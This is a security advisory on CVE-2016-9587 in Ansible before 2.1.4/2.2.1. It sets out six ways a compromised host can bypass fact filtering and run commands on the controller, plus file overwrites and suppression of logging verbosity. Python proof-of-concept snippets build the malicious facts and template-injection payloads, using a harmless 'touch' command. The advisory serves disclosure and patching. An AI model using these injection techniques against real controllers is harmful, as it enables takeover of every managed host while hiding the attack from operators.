Ansible 2.1.4 / 2.2.1 Command Execution

Published
Credit
Risk
2017.01.12
Undisclosed at Computest
High
CWE
CVE
Local
Remote
CWE-78
CVE-2016-9587
No
Yes

########### Computest security advisory CT-2017-0109 #############

Summary: Command execution on Ansible controller from host
Affected software: Ansible
CVE: CVE-2016-9587
Reference URL: https://www.computest.nl/advisories/
CT-2017-0109_Ansible.txt
Affected versions: < 2.1.4, < 2.2.1

Credit: Undisclosed at Computest (research@computest.nl)
Date of publication: January 9, 2017

During a summary code review of Ansible, Computest found and exploited several
issues that allow a compromised host to execute commands on the Ansible
controller and thus gain access to the other hosts controlled by that
controller.

This was not a full audit and further issues may or may not be present.

About Ansible
-------------
"Ansible is an open-source automation engine that automates cloud provisioning,
configuration management, and application deployment. Once installed on a
control node, Ansible, which is an agentless architecture, connects to a managed
node through the default OpenSSH connection type."
- wikipedia.org

Technical Background
--------------------
A big threat to a configuration management system like Ansible, Puppet, Salt
Stack and others, is compromise of the central node. In Ansible terms this is
called the Controller. If the Controller is compromised, an attacker has
unfettered access to all hosts that are controlled by the Controller. As such,
in any deployment, the central node receives extra attention in terms of
security measures and isolation, and threats to this node are taken even more
seriously.

Fortunately for team blue, in the case of Ansible the attack surface of the
Controller is pretty small. Since Ansible is agent-less and based on push, the
Controller does not expose any services to hosts.

A very interesting bit of attack surface though is in the Facts. When Ansible
runs on a host, a JSON object with Facts is returned to the Controller. The
Controller uses these facts for various housekeeping purposes. Some facts have
special meaning, like the fact "ansible_python_interpreter" and
"ansible_connection". The former defines the command to be run when Ansible is
looking for the python interpreter, and the second determines the host Ansible
is running against. If an attacker is able to control the first fact he can
execute an arbitrary command, and if he is able to control the second fact he is
able to execute on an arbitrary (Ansible-controlled) host. This can be set to
"local" to execute on the Controller itself.

Because of this scenario, Ansible filters out certain facts when reading the
facts that a host returns. However, we have found 6 ways to bypass this filter.

In the scenarios below, we will use the following variables:

PAYLOAD = "touch /tmp/foobarbaz"

# Define some ways to execute our payload.
LOOKUP = "lookup('pipe', '%s')" % PAYLOAD
INTERPRETER_FACTS = {
# Note that it echoes an empty dictionary {} (it's not a format string).
'ansible_python_interpreter': '%s; cat > /dev/null; echo {}' % PAYLOAD,
'ansible_connection': 'local',
# Become is usually enabled on the remote host, but on the Ansible
# controller it's likely password protected. Disable it to prevent
# password prompts.
'ansible_become': False,
}

Bypass #1: Adding a host
------------------------
Ansible allows modules to add hosts or update the inventory. This can be very
useful, for instance when the inventory needs to be retrieved from a IaaS
platform like as the AWS module does.

If we're lucky, we can guess the inventory_hostname, in which case the host_vars
are overwritten [2] and they will be in effect at the next task. If host_name
doesn't match inventory_hostname, it might get executed in the play for the next
hostgroup, also depending on the limits set on the commandline.

# (Note that when data["add_host"] is set,
# data["ansible_facts"] is ignored.)
data['add_host'] = {
# assume that host_name is the same as inventory_hostname
'host_name': socket.gethostname(),
'host_vars': INTERPRETER_FACTS,
}

# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/strategy/__init__.py#L447
# [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/strategy/__init__.py#L580

Bypass #2: Conditionals
-----------------------
Ansible actions allow for conditionals. If we know the exact contents of a
"when" clause, and we register it as a fact, a special case checks whether the
"when" clause matches a variable [1]. In that case it replaces it with its
contents and evaluates [2] them.

# Known conditionals, separated by newlines
known_conditionals_str = """
ansible_os_family == 'Debian'
ansible_os_family == "Debian"
ansible_os_family == 'RedHat'
ansible_os_family == "RedHat"
ansible_distribution == "CentOS"
result|failed
item > 5
foo is defined
"""
known_conditionals = [x.strip() for x in known_conditionals_str.split('\n')]
for known_conditional in known_conditionals:
data['ansible_facts'][known_conditional] = LOOKUP

[1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/playbook/conditional.py#L118
[2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/playbook/conditional.py#L125

Bypass #3: Template injection in stat module
--------------------------------------------
The template module/action merges its results with those of the stat module.
This allows us to bypass [1][2][3] the stripping of magic variables from
ansible_facts [4], because they're at an unexpected location in the result tree.

data.update({
'stat': {
'exists': True,
'isdir': False,
'checksum': {
'rc': 0,
'ansible_facts': INTERPRETER_FACTS,
},
}
})

# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/template.py#L39
# [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/template.py#L49
# [3] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/template.py#L146
# [4] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/action/__init__.py#L678

Bypass #4: Template injection by changing jinja syntax
------------------------------------------------------
Remote facts always get quoted. Set_fact unquotes them by evaluating them.
UnsafeProxy was designed to defend against unquoting by transforming jinja
syntax into jinja comments, effectively disabling injection.

Bypass the filtering of "{{" and "{%" by changing the jinja syntax [1][2]. The
{{}} is needed to make it look like a variable [3]. This works against:
- set_fact: foo="{{ansible_os_family}}"
- command: echo "{{foo}}

data['ansible_facts'].update({
'exploit_set_fact': True,
'ansible_os_family': "#jinja2:variable_start_string:'[[',variable_end_string:']]',block_start_string:'[%',block_end_string:'%]'\n{{}}\n[[ansible_host]][[lookup('pipe', '" + PAYLOAD + "')]]",
})

# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L66
# [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L469
# [3] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L308


Bypass #5: Template injection in dict keys
------------------------------------------
Strings and lists are properly cleaned up, but dictionary keys are not [1]. This
works against:
- set_fact: foo="some prefix {{ansible_os_family}} and/or suffix"
- command: echo "{{foo}}

The prefix and/or suffix are needed in order to turn the
dict into a string, otherwise the value would remain a dict.

data['ansible_facts'].update({
'exploit_set_fact': True,
'ansible_os_family': { "{{ %s }}" % LOOKUP: ''},
})

# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/vars/unsafe_proxy.py#L104


Bypass #6: Template injection using safe_eval
---------------------------------------------
There's a special case for evaluating strings that look like a list or dict [1].
Strings that begin with "{" or "[" are evaluated by safe_eval [2]. This allows
us to bypass the removal of jinja syntax [3]: we use the whitelisted Python to
re-create a bit of Jinja template that is interpreted.

This works against:
- set_fact: foo="{{ansible_os_family}}"
- command: echo "{{foo}}

data['ansible_facts'].update({
'exploit_set_fact': True,
'ansible_os_family': """[ '{'*2 + "%s" + '}'*2 ]""" % LOOKUP,
})

# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L334
# [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/safe_eval.py
# [3] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/template/__init__.py#L229

Issue: Disabling verbosity
--------------------------
Verbosity can be set on the controller to get more debugging information. This
verbosity is controlled through a custom fact. A host however can overwrite this
fact and set the verbosity level to 0, hiding exploitation attempts.

data['_ansible_verbose_override'] = 0

# [1] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/callback/default.py#L99
# [2] https://github.com/ansible/ansible/blob/a236cbf3b42fa2c51b89e9395b47abe286775829/lib/ansible/plugins/callback/default.py#L208


Issue: Overwriting files
------------------------
Roles usually contain custom facts that are defined in defaults/main.yml,
intending to be overwritten by the inventory (with group and host vars). These
facts can be overwritten by the remote host, due to the variable precedence [1].
Some of these facts may be used to specify the location of a file that will be
copied to the remote host. The attacker may change it to /etc/passwd. The
opposite is also true, he may be able to overwrite files on the Controller. One
example is the usage of a password lookup with where the filename contains a
variable [2].

[1] http://docs.ansible.com/ansible/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable
[2] http://docs.ansible.com/ansible/playbooks_lookups.html#the-password-lookup

Mitigation
----------
Computest is not aware of mitigations short of installing fixed versions of the
software.

Resolution
----------
Ansible has released new versions that fix the vulnerabilities described in
this advisory: version 2.1.4 for the 2.1 branch and 2.2.1 for the 2.2 branch.

Conclusion
----------
The handling of Facts in Ansible suffers from too many special cases that allow
for the bypassing of filtering. We found these issues in just hours of code
review, which can be interpreted as a sign of very poor security. However, we
don't believe this is the case.

The attack surface of the Controller is very small, as it consists mainly of the
Facts. We believe that it is very well possible to solve the filtering and
quoting of Facts in a sound way, and that when this has been done, the
opportunity for attack in this threat model is very small.

Furthermore, the Ansible security team has been understanding and professional
in their communication around this issue, which is a good sign for the handling
of future issues.

Timeline
--------
2016-12-08 First contact with Ansible security team
2016-12-09 First contact with Redhat security team (secalert@redhat.com)
2016-12-09 Submitted PoC and description to security@ansible.com
2016-12-13 Ansible confirms issue and severity
2016-12-15 Ansible informs us of intent to disclose after holidays
2017-01-05 Ansible informs us of disclosure date and fix versions
2017-01-09 Ansible issues fixed version



References:

http://docs.ansible.com/ansible/playbooks_variables.html#variable-precedence-where-should-i-put-a-variable
http://docs.ansible.com/ansible/playbooks_lookups.html#the-password-lookup


See this note in RAW Version

 
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